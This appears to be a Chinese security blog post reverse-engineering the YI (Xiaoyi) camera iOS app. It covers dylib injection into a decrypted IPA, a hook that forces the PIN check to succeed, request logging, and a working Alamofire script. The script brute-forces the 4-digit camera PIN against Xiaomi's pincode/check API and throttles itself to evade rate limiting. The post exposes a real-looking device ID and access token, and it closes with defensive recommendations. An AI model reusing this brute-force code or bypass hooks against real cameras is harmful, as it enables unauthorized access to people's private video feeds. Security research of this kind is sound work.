概述
本次分析,选取了小蚁摄像机App的iOS版本,主要目标是从数据缓存及数据传输方面探索App数据方面的安全性。
iOS系统中,本地缓存通常以数据库、plist、序列化文件、UserDefault、KeyChain等为媒介。其中UserDefault、KeyChain都采用iOS自带的加密方式,在不明确键值及密钥的情况下,基本上无法破解。
数据传输方面,在https普及后,App基本上都是采用这种方式进行的。虽然抓包已经失效,但并不代表不可以从App中获取发送的请求及响应,依然可以通过对关键请求进行hook,打印参数的方法来得到接口信息。
本次逆向使用非越狱手机进行,采用最暴力、最直接的方法 —— 打印日志。思路是先将libReveal.dylib、libCommonCrack.dylib等动态库注入App,通过classdump、Hopper得到关键函数,再对关键函数进行hook,打印信息,获取接口,暴力破解。
1 环境要求
iPhone手机,系统不做要求,越狱不做要求
Xcode及iOSOpenDev套件
yololib动态注入工具
Hopper Disassembler v4 反编译工具
Reveal 界面分析工具
小蚁摄像机iOS版本(2.19.3)
2 安装包破解
破解版本安装包获取的途径非常多,常用的方法是直接使用越狱的手机,借助dumpcrypted/Clutch等工具,获取砸壳后的二进制文件。
由于本次分析是基于非越狱的手机,这里通过PP助手官网下载越狱的安装包。
2.1 分析网页源码
搜索找到“小蚁摄像机”的应用链接 https://www.25pp.com/ios/detail_1598325/
打开网页检查器,定位到“下载越狱版本”的标签上,得到app的下载地址appdownurl和点击响应事件ppOneKeySetup
appdownurl="aHR0cDovL3IxMS4yNXBwLmNvbS9zb2Z0LzIwMTgvMDMvMTUvMjAxODAzMTVfMjE1NF8yMTg5ODAwMzM4ODguaXBh"
onclick="return ppOneKeySetup(this)"
根据ppOneKeySetup及appdownUrl,在 pp_onekey-d17d98b4.js定位到相关代码:
(C = h.href, E = h.getAttribute("appdownurl"), E && E.length > 0 && (C = o.base64decode(o.utf8to16(E)))
简单分析代码,脚本只是将appdownUrl进行了base64的解码,并没有其他特殊操作。对appdownUrl进行base64Decode后,得到ipa下载地址http://r11.25pp.com/soft/2018/03/15/20180315_2154_218980033888.ipa
下载ipa并解压缩后,使用otool进行验证,可以看到armv7及arm64的crypt字段都为0,说明下载的安装包二进制文件已经被砸壳了。
jiangbindeMac-mini:V2.0 jiangbin$ file YiHome2.0
YiHome2.0: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O executable arm_v7] [arm64]
YiHome2.0 (for architecture armv7): Mach-O executable arm_v7
YiHome2.0 (for architecture arm64): Mach-O 64-bit executable arm64
jiangbindeMac-mini:V2.0 jiangbin$ otool -l YiHome2.0 | grep crypt
cryptoff 16384
cryptsize 16547840
cryptid 0
cryptoff 16384
cryptsize 18874368
cryptid 0
2.2 重签名
为了查看App沙盒中的文件,需要使用开发证书对app进行重新签名。重签名脚本见附录重签名脚本
使用一段时间后,打开沙盒目录,缓存数据初见端倪,接下来对相关文件行分析:
3 本地缓存分析
对沙盒Documents目录,进行简单分析:
- 4502360:可能是类似与userId的字段
- account.plist:记录了一些参数,只有value,没有key值
- devices:里面文件夹以deviceId为名称,区分不同的设备,每个子文件夹内有两张封面图 placeholder.png、placeholder_blur.png,分别对应摄像头设置密码前后的封面图; placeholder_blur.png只是将封面图作了高斯模糊处理
- log:自带的打印日志,信息很少,除了deviceId外,没有其他可用信息
- yydb.sqlite3:缓存了报警信息、登录信息等内容,密码相关的信息都是加密过的
3.1 yydb.sqlit3
发现一个有意思的现象,对于alarm信息,数据库中存在两份数据表,alarm_mi、alarm_yi。联想到之前设备添加的提示信息,可以断定,小蚁从小米独立出来以后,引入了自己的账号系统,但是为了兼容1代的摄像头,又不得不使用小米账号进行第三方登录。估计这一部分的账号会逐步进行淘汰,App考虑到后期的维护性,直接重新建了一份新的表格alarm_yi,以减少数据的冲突和维护。下面对表alarm_mi进行分析:
- deviceId:yunyi.TNPCHNA-695008-FUKEN
- id:数据库自增长的id,与消息id无关
- time:消息触发时间,结合表 alarm_list_read_2 ,App中将此键值作为消息的索引,也就是说从平台拉取的消息是不带messageId的,App需要通过此值来进行查找、删除、标记等操作
-
videoUrl: 报警消息对应的预览视频地址,每个视频只有6s,如果要查看完整的视频,需要在视频播放结束后,主动跳转到完整视频界面去查看。使用Signature、Expires、GalaxyAccessKeyId等参数检验,在Expires时间内,可以直接下载,但由于不是标准格式的mp4格式文件,无法直接播放
https://cnbj2.fds.api.xiaomi.com/motiondetection/2018%2F03%2F19%2F337701719%2Fyunyi.TNPCHNA-695008-FUKEN_081922470.mp4?
GalaxyAccessKeyId=5561734629076&Expires=1521508775000&Signature=mLcdWGRz+oYaxS4eOlMcO6o9YL8=
- videoImageUrl: 报警消息封面图,与videoUrl类似
-
video_pwd:每行对应的密码均不一样,即相同的视频密码,不同的录像段对应的缓存密码是不同的,
_SJgn2EMj6pWl2WH3x3qSA
,猜测应该是经过了多种对称加密 - pic_pwd:与video_pwd相似
从表内容来看,数据库对密码字段进行了较为复杂的加密,无法通过反解析来得到视频的原始密码。另外Expires时间设置得比较短,只有30分钟,超过30min后,下载链接失效,从而保证了一定的安全性。
3.2 log文件
App自带的日志信息,位于log/y_log.txt。从打开App开始,输入摄像机密码,再到拉流成功,导出日志文件。
除了前面分析过的deviceId外,没有其他多余的信息
...
2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3003
2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3019
2018-03-20-04-03-32 -[JJCameraPlayViewController viewDidLoad] [Line 125] connect TNPCHNA-695008-FUKEN p2p:TNPCHNA-695008-FUKEN
....
3.3 本地缓存总结
从数据库、日志文件分析,都没有敏感的数据信息暴露,本地数据的缓存在正常途径下还是很安全的。
另外,数据库、缓存文件中,或许为了设备安全,并没有设备参数相关的数据,猜测应该是根本没有缓存。验证的方法也很简单:关闭设备密码,返回到主页,打开手机飞行模式,再次进入设备设置,发现提示设备连接失败,只展示了摄像机名称这一栏。
从目前来看,想要实现破解密码的目标似乎很难行通,但事实或许并不是如此,接下来,我们从代码层面对App进一步分析。
4 动态注入及源码分析
AppStore版本的程序,禁止使用非系统的动态库,主要是为了安全和性能的考虑。但不意味着App不可以使用动态库,只要将动态库加入到程序的bundle中,并使用相同的证书对动态库、app进行签名,就可以正常使用。
4.1 注入libCommonCrack.dylib
使用iOSOpenDev新建动态库工程,生成libCommonCrack.dylib,该动态库作用如下:
(1)导入公共log模块代码,重定向NSLog、print等输出到沙盒文件中
(2)对关键代码进行Hook
(3)启动libReveal.dylib
生成dylib后,使用yololib将其注入到二进制文件YiHome2.0中:
APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"
#注入动态库
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME
4.2 启动Reveal
参考Reveal的帮助文档,在AppDelegate+Hook.m中,Hook住idFinishLaunchingWithOptions函数,加入启动libReveal.dylib的代码
CHDeclareMethod(0, void, AppDelegate, loadReveal)
{
if (NSClassFromString(@"IBARevealLoader") == nil)
{
NSString *revealLibName = @"libReveal";
NSString *revealLibExtension = @"dylib";
NSString *error;
NSString *dyLibPath = [[NSBundle mainBundle] pathForResource:revealLibName ofType:revealLibExtension];
NSLog(@"Loading dynamic library: %@", dyLibPath);
dlopen([dyLibPath cStringUsingEncoding:NSUTF8StringEncoding], RTLD_NOW);
}
}
注入libCommonCrack.dylib,并重新签名,安装、启动App,再次打开沙盒目录。生成了AppLog目录,打开日志文件,Reveal正常启动:
018-03-20 08:53:45.601 YiHome2.0[583:97603] Loading dynamic library: /var/containers/Bundle/Application/7CCCADB7-AF78-4E16-8CFD-2CB486C09C45/YiHome2.0.app/libReveal.dylib
2018-03-20 08:53:45.735 YiHome2.0[583:97603] INFO: Reveal Server started (Protocol Version 25).
从App上进入密码校验界面,Mac上同步更新Reveal展示,得到相关信息,即密码输入框所在的父视图 JJPincodeViewController
至此,第一个线索浮出水面。通过操作可以得知,进入设置、视频界面前,需要输入密码进行检验。如果直接跳过这个检验的步骤,是不是就可以直接观看视频、设置设备呢?接下来重点对JJPincodeViewController进行代码分析。
5 源码Hook
使用class-dump对二进制文件进行头文件导出,初步分析JJPincodeViewController.h,找到两个关键函数:
- (void)yyBlockResponsePincodeCheckWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3;
- (_Bool)___pincodeIsSuccessWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3 isCheckout:(_Bool)arg4;
再使用Hopper查看JJPincodeViewController的代码,梳理函数调用关系,大致得出如下的调用过程:
将返回的结果处理函数___pincodeIsSuccessWithRequest,直接return true,一试究竟。
5.1 JJPincodeViewController+Hook
libCrackCommon工程中,加入JJPincodeViewController+Hook.m,对___pincodeIsSuccessWithRequest函数进行返回值重写
CHMethod(4, bool, JJPincodeViewController, ___pincodeIsSuccessWithRequest, id, arg1, response, id, arg2, success, bool, arg3, isCheckout, bool , arg4 )
{
NSLog(@"JJPincodeViewController:: ___pincodeIsSuccessWithRequest %@ - %@ - %d - %d", arg1, arg2, arg3, arg4);
if ([arg2 isKindOfClass:NSClassFromString(@"APPResponse")]) {
APPResponse *response = (APPResponse *)arg2;
NSLog(@"JJPincodeViewController dictResponse::%@", response.dictResponse);
}
return YES;
}
完成打包后,直接输入一个错误的密码,确实不再有密码错误的提示,直接进入了视频播放界面。
开始拉流,但是提示连接失败;进入设置界面,加载过后,也是失败。
可以肯定,App采用了双重的加密机制,虽然可以绕过前面的密码验证步骤,但后面的请求应该也使用了密码进行检验。
至此,绕过密码验证的路也被堵死,接下来直接从接口进行分析。请求是通过YYHttpClient发送的,响应通过block返回,将YYHttpClient的发送和响应都写到日志中,看看能否得到有用信息。
5.2 YYHttpClient+Hook
这里,直接hook住post的请求,打印请求体及响应。
//- (id)singlePostWithUrl:(id)arg1 completionBlock:(id)arg2;
CHMethod(2, BOOL, YYHttpClient, singlePostWithUrl, id, arg1, completionBlock, id, arg2 )
{
id result = CHSuper(2, YYHttpClient, singlePostWithUrl, arg1, completionBlock, arg2);
NSLog(@"YYHttpClient::singlePostWithUrl request %@ - %@ ", arg1, arg2);
NSLog(@"YYHttpClient::singlePostWithUrl result %@ ", result);
return result;
}
再次打开日志,请求参数及结果一目了然:
==============================================
url -> https://openapp.io.mi.com/openapp/pincode/check?data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
action -> https://openapp.io.mi.com/openapp/pincode/check
params -> data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
==============================================
- <__NSStackBlock__: 0x16fde5960>
2018-03-20 08:53:50.363 YiHome2.0[583:97603] YYHttpClient::singlePostWithUrl result (null)
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController:: ___pincodeIsSuccessWithRequest <ASIFormDataRequest: 0x10203f000> - <APPResponse: 0x171666100> - 1 - 1
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController dictResponse::{
code = 0;
message = ok;
result = "";
}
对url中的data参数进行转义:
data={"did":"yunyi.TNPCHNA-695008-FUKEN","pincode":"0411"}
4个请求参数,分别如下:
- did:yunyi.TNPCHNA-695008-FUKEN,即前面分析过的设备id
- pincode:4位明文的密码
- clientId:应该是平台分配的程序标识,这个值是固定的,沙盒中的account.plist文件也有这个值
- accessToken:用于免登录和api请求
先尝试通过https://www.sojson.com/httpRequest/模拟请求,看能否通过 ,得到返回结果:
{
"code": 0,
"message": "ok",
"result": {
"ret": -1
}
}
得到正常的响应,ret返回-1表示失败。使用错误的密码多试几次后,返回的数据也是一样的,可见平台并未对该接口pincode/check作保护,App限制5次输入也是本地的行为。请求参数中did、clientId是固定值,在不注销的情况下accessToken也是不变的,所以只需要将pincode从0000枚举到9999,进行模拟的post请求,就可以暴力破解设备密码。
直接使用Almofire,发送模拟请求,发现每进行100次的串行请求,平台返回frequent的错误。这里每模拟请求50次,延迟10s继续进行,以规避该错误,具体参考代码见附录Almofire模拟请求。最终得到正确的密码 0411:
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0401
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0402
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0403
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0404
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0405
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0406
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0407
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0408
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0409
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0410
Data: {"code":0,"message":"ok","result":""}
Succeed...0411
除此之外,还可以得到很多其他的接口……
6 总结
综上,从数据缓存、数据传输方面分析了小蚁摄像机App的加密方式及安全性。从表象上看,缓存使用了复杂的对称加密方式,数据传输使用了HTTPS方式,安全性应该是非常高了。但是在hook之下,隐患一览无遗,扯去了安全的外衣,剩下的是一系列明文传输的接口。
从中,我觉得有几点值得反思:
(1)密码校验,平台一定要做防止暴力破解,而不是从App端进行限制
(2)Http请求,要在请求头中加上比较复杂的签名算法
(3)发布版本,需要屏蔽日志输出相关函数,以免被进行hook
附录
重签名脚本
APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"
TARGET_BUNDLEID="com.360ants.yihome"
KEYCHAIN="6F52A56706B4E6CB90C605FF39841ACB01C8558C"
#配置信息打印
function printXcodeInfo()
{
xcode-select --version
xcode-select --print-path
security find-identity -v -p codesigning
}
#注入动态库
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME
#将文件拷贝到目录下
cp $DYLIB_NAME $APP_NAME.app/$DYLIB_NAME
rm -f $APP_NAME.app/embedded.mobileprovision
rm -f -r $APP_NAME.app/_CodeSignature
cp embedded.mobileprovision $APP_NAME.app/embedded.mobileprovision
#删除watch及PlugIns文件夹【可能会造成签名不正确的问题】
rm -r $APP_NAME.app/Watch/
rm -r $APP_NAME.app/PlugIns/
#替换图标
function copyIconWithSize () {
SIZE=$1
cp ./Icons/AppIcon$1x$1@2x.png $APP_NAME.app/AppIcon$1x$1@2x.png
cp ./Icons/AppIcon$1x$1@3x.png $APP_NAME.app/AppIcon$1x$1@3x.png
}
copyIconWithSize "29"
copyIconWithSize "40"
copyIconWithSize "57"
copyIconWithSize "60"
#改变bundle identifier
echo "change bundle ID to ${TARGET_BUNDLEID}"
`/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier ${TARGET_BUNDLEID}" $APP_NAME.app/Info.plist`
#先对动态库签名
codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/$DYLIB_NAME
#codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/Frameworks/*
#再对app签名
codesign -v -f -s "${KEYCHAIN}" --entitlements Entitlements.plist $APP_NAME.app
#删除旧的ipa,覆盖时可能会影响安装
rm -r $TARGET_NAME
#使用Zip打包,注意文件结构 Payload/xxx.app
mkdir Payload
cp -r $APP_NAME.app Payload
zip -qr $TARGET_NAME Payload
#清除临时文件夹Payload
rm -rf Payload
#检验
echo "============================================================="
echo "签名信息:"
codesign -dvvv $APP_NAME.app
Almofire模拟请求代码段
func testYiHomePincode(pincode: String, completion: @escaping (_ result: Bool) -> (Void)) -> DataRequest {
let urlString = "https://openapp.io.mi.com/openapp/pincode/check"
let header: HTTPHeaders = [
"Content-Type" : "application/x-www-form-urlencoded"
]
//注意data为非标准格式json
let parameters: Parameters = [
"data": "{\"did\": \"yunyi.TNPCHNA-695008-FUKEN\", \"pincode\": \"\(pincode)\"}",
"accessToken": "V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ",
"clientId": "2882303761517230659"
]
let request = Alamofire.request(urlString, method: .post, parameters: parameters, encoding: URLEncoding.default, headers: header)
request.response { response in
if let data = response.data, let utf8Text = String(data: data, encoding: .utf8) {
print("Data: \(utf8Text)")
let json = JSON.parse(utf8Text)
if let dic = json.dictionaryObject {
if let result = dic["result"] {
if result as? [String: Any] != nil {
print("Failed...\(pincode)")
completion(false)
} else {
print("Succeed...\(pincode)")
completion(true)
}
} else {
print("Failed...\(pincode)")
completion(false)
}
}
}
}
return request
}
func testYiHome(index: Int) {
let pincode = String(format: "%04d", index)
_ = self.testYiHomePincode(pincode: pincode, completion: { (result) -> (Void) in
if result == false {
if index != 0, index % 50 == 0 {
sleep(10)
}
self.testYiHome(index: index+1)
}
})
}